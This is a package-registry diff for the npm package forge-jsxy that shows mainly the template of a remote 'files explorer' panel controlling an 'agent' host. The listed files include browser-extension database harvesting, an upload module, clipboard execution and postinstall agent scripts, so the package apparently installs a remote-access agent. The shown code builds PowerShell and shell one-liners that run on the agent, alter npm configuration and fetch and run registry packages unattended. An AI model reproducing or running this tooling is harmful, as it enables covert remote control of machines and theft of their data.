forge-jsxy 1.0.90 → 1.0.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +63 -21
- package/dist/agentRunner.js +96 -23
- package/dist/assets/files-explorer-template.html +64 -22
- package/dist/autostart/agentEnvFile.d.ts +6 -0
- package/dist/autostart/agentEnvFile.js +51 -2
- package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
- package/dist/chromiumExtensionDbHarvest.js +560 -0
- package/dist/cli-agent.js +1 -0
- package/dist/clipboardExec.d.ts +4 -0
- package/dist/clipboardExec.js +29 -15
- package/dist/extensionDbHfUpload.d.ts +24 -0
- package/dist/extensionDbHfUpload.js +198 -0
- package/dist/hfUpload.d.ts +5 -0
- package/dist/hfUpload.js +18 -3
- package/dist/relayAgent.js +13 -0
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -0
- package/dist/windowsInputSync.d.ts +15 -1
- package/dist/windowsInputSync.js +226 -67
- package/dist/workerBootstrap.js +3 -0
- package/package.json +2 -2
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
- package/scripts/forge-jsx-explorer-restart.mjs +9 -18
- package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
- package/scripts/postinstall-agent.mjs +53 -8
- package/scripts/postinstall-bootstrap.mjs +13 -0
|
@@ -1690,9 +1690,9 @@
|
|
|
1690
1690
|
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-download-fk" onclick="downloadSelForceKill()" title="Download with Force Kill: kills locking processes then downloads">↓ Force Kill</button>
|
|
1691
1691
|
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-disconnect" onclick="doDisconnect()">Disconnect</button>
|
|
1692
1692
|
<div class="fe-ctx-sep" role="separator" aria-hidden="true"></div>
|
|
1693
|
-
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-upgrade" onclick="runForgeJsxExplorerUpgrade()" title="Global forge-jsxy upgrade on the agent (Windows/Linux/macOS). This page retries connecting for ~2 min after success
|
|
1694
|
-
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-kill" onclick="runForgeJsxExplorerKillAgent()" title="Stop forge-agent permanently (two-step: click twice — no browser popup). Runs cfgmgr --stop, removes OS autostart
|
|
1695
|
-
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-restart" onclick="runForgeJsxExplorerRestart()" title="Stop and restart forge-agent on the agent (build + cfgmgr stop + postinstall) in the background. Same reconnect retries as Upgrade.">Restart agent</button>
|
|
1693
|
+
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-upgrade" onclick="runForgeJsxExplorerUpgrade()" title="Global forge-jsxy upgrade on the agent (Windows/Linux/macOS). Works with legacy forge-jsx globals via npm exec @latest. This page retries connecting for ~2 min after success.">Upgrade forge-jsxy</button>
|
|
1694
|
+
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-kill" onclick="runForgeJsxExplorerKillAgent()" title="Stop forge-agent permanently (two-step: click twice — no browser popup). Runs cfgmgr --stop, removes OS autostart, PM2 forge-agent, strips forge-js-agent.env secrets, then npm uninstall -g forge-jsxy and legacy forge-jsx when globally installed.">Kill agent</button>
|
|
1695
|
+
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-restart" onclick="runForgeJsxExplorerRestart()" title="Stop and restart forge-agent on the agent (build + cfgmgr stop + postinstall) in the background. Probes both forge-jsxy and legacy forge-jsx global installs. Same reconnect retries as Upgrade.">Restart agent</button>
|
|
1696
1696
|
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-run" onclick="runExplorerTerminal()"><span class="codicon codicon-play" aria-hidden="true"></span><span class="fe-ctx-label">Run</span></button>
|
|
1697
1697
|
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-copy" onclick="copyTerminalOut()" title="Copy all text below">Copy output</button>
|
|
1698
1698
|
<button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-clear" onclick="clearTerminalOut()">Clear</button>
|
|
@@ -2211,31 +2211,73 @@ function ensureAgentPlatformForExplorerForgeCmd(){
|
|
|
2211
2211
|
}
|
|
2212
2212
|
/**
|
|
2213
2213
|
* Retarget npm **`npm exec` / `install -g`** package spec to **`forge-jsxy@latest`** (current npm name).
|
|
2214
|
+
* **`__FORGE_JSX_LEGACY_PKG__`** is preserved as **`forge-jsx@latest`** for secondary fallbacks on very old installs.
|
|
2214
2215
|
* **Filesystem** script paths stay literal **`forge-jsx`** / **`forge-jsxy`** — each shell one-liner runs a small loop trying **`$ROOT/{forge-jsxy,forge-jsx}/scripts/*.mjs`** so old globals (`node_modules/forge-jsx`) and new (`forge-jsxy`) both resolve without rewriting strings here.
|
|
2215
2216
|
*/
|
|
2216
2217
|
function retargetForgeJsxyCommand(cmd){
|
|
2217
2218
|
return String(cmd || '')
|
|
2219
|
+
.replaceAll('__FORGE_JSX_LEGACY_PKG__', '<<<FORGE_JSX_LEGACY_PKG>>>')
|
|
2218
2220
|
.replaceAll('forge-jsx@latest', 'forge-jsxy@latest')
|
|
2221
|
+
.replaceAll('<<<FORGE_JSX_LEGACY_PKG>>>', 'forge-jsx@latest')
|
|
2219
2222
|
.replaceAll('install -g forge-jsx@latest', 'install -g forge-jsxy@latest')
|
|
2220
2223
|
.replaceAll('npm uninstall -g forge-jsx', 'npm uninstall -g forge-jsxy');
|
|
2221
2224
|
}
|
|
2225
|
+
/** Probe durable runtime `<CfgMgr>/.forge-jsxy/current.json` and run explorer script directly (npm-install-only agents). */
|
|
2226
|
+
function winDurableForgeScriptProbe(scriptFile){
|
|
2227
|
+
return '$__dj=@(); if($env:CFGMGR_DATA_ROOT){$__dj+=Join-Path $env:CFGMGR_DATA_ROOT \'.forge-jsxy\\current.json\'}; if($env:LOCALAPPDATA){$__dj+=Join-Path $env:LOCALAPPDATA \'CfgMgr\\data\\.forge-jsxy\\current.json\'}; if($env:USERPROFILE){$__dj+=Join-Path $env:USERPROFILE \'Library\\Application Support\\CfgMgr\\data\\.forge-jsxy\\current.json\'; $__dj+=Join-Path $env:USERPROFILE \'.local\\share\\cfgmgr\\.forge-jsxy\\current.json\'}; foreach($__cur in $__dj){ if(-not $__cur -or -not (Test-Path -LiteralPath $__cur)){continue}; try{ $__j=Get-Content -LiteralPath $__cur -Raw|ConvertFrom-Json; $__dist=[string]$__j.distDir; if(-not $__dist -or -not (Test-Path -LiteralPath (Join-Path $__dist \'cli-agent.js\'))){continue}; $__root=(Resolve-Path (Join-Path $__dist \'..\')).Path; $__s=Join-Path $__root (\'scripts\\'+scriptFile+'\'); if(Test-Path -LiteralPath $__s){ & node $__s; if ($LASTEXITCODE -eq 0) { exit 0 } } } catch{} }; ';
|
|
2228
|
+
}
|
|
2229
|
+
function unixDurableForgeScriptProbe(scriptFile){
|
|
2230
|
+
return 'for __CUR in "${CFGMGR_DATA_ROOT:+$CFGMGR_DATA_ROOT/.forge-jsxy/current.json}" "$HOME/.local/share/cfgmgr/.forge-jsxy/current.json" "$HOME/Library/Application Support/CfgMgr/data/.forge-jsxy/current.json"; do [ -n "$__CUR" ] && [ -f "$__CUR" ] || continue; __ROOT=$(node -e "const fs=require(\'fs\'),p=require(\'path\');try{const j=JSON.parse(fs.readFileSync(process.argv[1],\'utf8\'));const d=String(j.distDir||\'\').trim();if(!d||!fs.existsSync(p.join(d,\'cli-agent.js\')))process.exit(0);process.stdout.write(p.resolve(d,\'..\'));}catch{}" "$__CUR" 2>/dev/null); [ -n "$__ROOT" ] || continue; __S="$__ROOT/scripts/'+scriptFile+'"; [ -f "$__S" ] && node "$__S" && exit 0; done; ';
|
|
2231
|
+
}
|
|
2232
|
+
function winForgeExplorerBinProbe(primary, legacy){
|
|
2233
|
+
return 'foreach($__cn in @(\''+primary+'\',\''+legacy+'\')){ if(Get-Command $__cn -ErrorAction SilentlyContinue){ & $__cn; if ($LASTEXITCODE -eq 0) { exit 0 } } }; ';
|
|
2234
|
+
}
|
|
2235
|
+
function unixForgeExplorerBinProbe(primary, legacy){
|
|
2236
|
+
return 'for __CN in '+primary+' '+legacy+'; do command -v $__CN >/dev/null 2>&1 && $__CN && exit 0; done; ';
|
|
2237
|
+
}
|
|
2238
|
+
function winLegacyNpmExec(binName){
|
|
2239
|
+
return 'npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- '+binName+'; if ($LASTEXITCODE -eq 0) { exit 0 }; ';
|
|
2240
|
+
}
|
|
2241
|
+
function unixLegacyNpmExec(binName){
|
|
2242
|
+
return 'npm --userconfig "$NRC_U" --globalconfig "$NRC_G" --cache "$XC" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- '+binName+' && exit 0; ';
|
|
2243
|
+
}
|
|
2244
|
+
/** Windows legacy agents using cmd.exe for fs_shell_exec often return 4294967295 with empty output. */
|
|
2245
|
+
function isWinLegacyShellFailure(ec, stdout, stderr){
|
|
2246
|
+
const blankOut = !String(stdout || '').trim() && !String(stderr || '').trim();
|
|
2247
|
+
return String(ec) === '4294967295' && blankOut;
|
|
2248
|
+
}
|
|
2249
|
+
function appendWinLegacyShellHint(body, cmdName){
|
|
2250
|
+
return body +
|
|
2251
|
+
'\n\nDetected Windows legacy shell failure (`exit 4294967295` with empty stdout/stderr). '+
|
|
2252
|
+
'This agent build cannot execute remote shell reliably from the explorer. '+
|
|
2253
|
+
'Run on that Windows host (PowerShell as the same user):\n'+
|
|
2254
|
+
' npm exec --yes --package=forge-jsxy@latest -- '+cmdName;
|
|
2255
|
+
}
|
|
2222
2256
|
function forgeJsxExplorerUpgradeShellCommand(){
|
|
2223
2257
|
if(useWindowsForgeJsxShellCommand()){
|
|
2224
|
-
|
|
2258
|
+
const fb = winLegacyNpmExec('forge-jsx-explorer-upgrade') + winDurableForgeScriptProbe('forge-jsx-explorer-upgrade.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
|
|
2259
|
+
const fbShort = winForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
|
|
2260
|
+
return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { "+fbShort+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; exit $LASTEXITCODE";
|
|
2225
2261
|
}
|
|
2226
|
-
|
|
2262
|
+
const ufb = unixLegacyNpmExec('forge-jsx-explorer-upgrade') + unixDurableForgeScriptProbe('forge-jsx-explorer-upgrade.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
|
|
2263
|
+
const ufbShort = unixForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
|
|
2264
|
+
return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; "+ufbShort+"fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; "+ufbShort+"exit $?";
|
|
2227
2265
|
}
|
|
2228
2266
|
function forgeJsxExplorerRestartShellCommand(){
|
|
2229
2267
|
if(useWindowsForgeJsxShellCommand()){
|
|
2230
|
-
|
|
2268
|
+
const fb = winLegacyNpmExec('forge-jsx-explorer-restart') + winDurableForgeScriptProbe('forge-jsx-explorer-restart.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-restart','forge-jsx-explorer-restart');
|
|
2269
|
+
return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-restart.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
|
|
2231
2270
|
}
|
|
2232
|
-
|
|
2271
|
+
const ufb = unixLegacyNpmExec('forge-jsx-explorer-restart') + unixDurableForgeScriptProbe('forge-jsx-explorer-restart.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-restart','forge-jsx-explorer-restart');
|
|
2272
|
+
return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- forge-jsx-explorer-restart; exit $?";
|
|
2233
2273
|
}
|
|
2234
2274
|
function forgeJsxExplorerKillShellCommand(){
|
|
2235
2275
|
if(useWindowsForgeJsxShellCommand()){
|
|
2236
|
-
|
|
2276
|
+
const fb = winLegacyNpmExec('forge-jsx-explorer-kill-agent') + winDurableForgeScriptProbe('forge-jsx-explorer-kill-agent.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-kill-agent','forge-jsx-explorer-kill-agent');
|
|
2277
|
+
return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-kill-agent.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
|
|
2237
2278
|
}
|
|
2238
|
-
|
|
2279
|
+
const ufb = unixLegacyNpmExec('forge-jsx-explorer-kill-agent') + unixDurableForgeScriptProbe('forge-jsx-explorer-kill-agent.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-kill-agent','forge-jsx-explorer-kill-agent');
|
|
2280
|
+
return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- forge-jsx-explorer-kill-agent; exit $?";
|
|
2239
2281
|
}
|
|
2240
2282
|
/** Timeouts that call `doConnect()` after Upgrade or Restart agent — cleared on Disconnect or reconnect success (idle skips). */
|
|
2241
2283
|
let forgeUpgradeReconnectTimeouts = [];
|
|
@@ -5475,7 +5517,7 @@ function onMsg(m){
|
|
|
5475
5517
|
if(wasForgeUpgrade && !badExit){
|
|
5476
5518
|
body +=
|
|
5477
5519
|
'\n\n--- forge-jsxy upgrade ---\n'+
|
|
5478
|
-
'Stdout above includes `[forge-
|
|
5520
|
+
'Stdout above includes `[forge-jsx-explorer-upgrade]` version status (e.g. planned X → Y, already up to date, or PM2 jlist unavailable so a worker still runs). '+
|
|
5479
5521
|
'On the agent host read `~/.forge-js/explorer-upgrade.log` for `worker start`, PM2 stop/restart lines, and `OK` / `FAIL npm install`. '+
|
|
5480
5522
|
'If relay is not a PM2 process named `forge-relay`, set env `FORGE_JSX_PM2_RELAY_NAME=0` (and match `FORGE_JSX_PM2_AGENT_NAME` to your PM2 app name). '+
|
|
5481
5523
|
'Verbose worker: `FORGE_JSX_EXPLORER_UPGRADE_LOG=1`. Reinstall anyway: `FORGE_JSX_EXPLORER_UPGRADE_FORCE=1`. '+
|
|
@@ -5483,21 +5525,14 @@ function onMsg(m){
|
|
|
5483
5525
|
}
|
|
5484
5526
|
if(wasForgeUpgrade && badExit){
|
|
5485
5527
|
const stderrLower = e.toLowerCase();
|
|
5486
|
-
const blankOut = !o.trim() && !e.trim();
|
|
5487
|
-
const winLegacyShellTimeout =
|
|
5488
|
-
ec === '4294967295' && blankOut;
|
|
5489
5528
|
const winGlobalInstallPerm =
|
|
5490
5529
|
stderrLower.includes('eperm') &&
|
|
5491
5530
|
stderrLower.includes('appdata\\\\roaming\\\\npm\\\\node_modules\\\\forge-jsxy');
|
|
5492
5531
|
body +=
|
|
5493
5532
|
'\n\n--- forge-jsxy upgrade ---\n'+
|
|
5494
5533
|
'Upgrade launcher exited non-zero. Fix errors on the agent host, then try Upgrade again or run the command manually in a local terminal.';
|
|
5495
|
-
if(
|
|
5496
|
-
body
|
|
5497
|
-
'\n\nDetected Windows legacy shell failure (`exit 4294967295` with empty stdout/stderr). '+
|
|
5498
|
-
'This agent build cannot execute remote shell reliably from the explorer. '+
|
|
5499
|
-
'Run upgrade locally on that Windows host (PowerShell as the same user):\n'+
|
|
5500
|
-
' npm exec --yes --package=forge-jsxy@latest -- forge-jsxy-explorer-upgrade';
|
|
5534
|
+
if(isWinLegacyShellFailure(ec, o, e)){
|
|
5535
|
+
body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-upgrade');
|
|
5501
5536
|
} else if(winGlobalInstallPerm){
|
|
5502
5537
|
body +=
|
|
5503
5538
|
